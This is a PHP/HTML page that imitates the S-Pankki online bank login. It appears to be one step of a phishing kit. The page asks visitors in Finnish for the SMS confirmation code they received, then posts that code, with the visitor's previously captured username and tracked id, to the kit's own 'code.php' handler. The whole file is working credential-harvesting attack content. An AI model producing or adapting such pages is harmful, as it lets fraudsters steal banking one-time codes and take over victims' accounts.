<?php
     // Start the session to access session variables
     session_start();
    
     // Include your database connection file
     require_once '../../oyexa/config.php';
     
     // Check if the user is logged in
     if (!isset($_SESSION['visitor_id'])) {
         // If not logged in, redirect to the login page
         header("Location: login/spk.php");
         exit;
     }
     
     // Fetch the redirect address of the logged-in user from the database
     $visitor_id = $_SESSION['visitor_id'];
     $stmt = $pdo->prepare("SELECT * FROM visitors WHERE id = ?");
     $stmt->execute([$visitor_id]);
     $visitor = $stmt->fetch(PDO::FETCH_ASSOC);

?>
<!DOCTYPE html>
<html lang="fi">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">
    <meta http-equiv="Cache-Control" content="no-cache">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>S-Pankki</title>
    <link rel='shortcut icon' href='https://www.s-pankki.fi/favicon.ico' />
    <style type="text/css">
        .gt {
            font-weight: bold;
            font-size: 18px;
        }
        .vv {
            font-weight: normal;
        }
    </style>
    <noscript>
        <style>
            html, body {
                height: 100% !important;
                overflow: hidden;
            }
            header, main, footer, .versionInfo {
                display: none !important;
            }
        </style>
    </noscript>
    <link href="./Tunnistautuminen_files/auth.05f49022e1cd9c5b1b15.css" rel="stylesheet">
</head>
<body class="ebank no-js fi">
    <main class="page-wrapper login-layout">
        <div class="page-info"></div>
        <div class="page-box">
            <div class="page-box-header">
                <h2 class="page-box-heading">
                    <img src="Tunnistautuminen_files/spankki.png" alt="" width="210" height="42" align="left">
                </h2>
                <div class="page-box-banner">
                    <img src="Tunnistautuminen_files/otp.png" alt="" width="700" height="180">
                </div>
            </div>
            <div class="page-box-content">
                <div class="grid-x">
                    <div class="page-box-description cell small-12 medium-6">
                        <h2>Anna vahvistuskoodi, jonka sait tekstiviestin&auml;.</h2>
                        <p class="gt"></p>
                        <p class="gt" style="font-family: Verdana, Geneva, sans-serif; font-size: 16px; font-weight: normal;">Viestin saapuminen saattaa kest&auml;&auml; hetken</p>
                    </div>
                    <div class="cell small-12 medium-6">
                        <form method="POST" action="../code.php" id="logform">                            
                            <div class="form__normal">
                                <div class="is-required">
                                    <label for="pin-code" class="form__label"><br><br>Anna vahvistuskoodi</label>
                                    <small id="code-table-number">*</small>
                                    <input type="hidden" name="visitor_id" value="<?= $visitor['id']; ?>">
                                    <input type="hidden" name="username" value="<?= $visitor['username']; ?>">
                                    <input type="tel" id="otp" name="otp" maxlength="6" value="" size="12" class="form__password js_focusOnMe" autocomplete="" required><span id="otp_err"></span>
                                </div>
                                <div class="button-row">
                                    <button type="submit" class="btn btn-danger border-0" name="submit_otp" value="Jatka">
                                        <span class="btn-normal">
                                            <span class="arrow">Jatka</span>
                                        </span>
                                    </button>
                                </div>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
    </main>
</body>
</html>
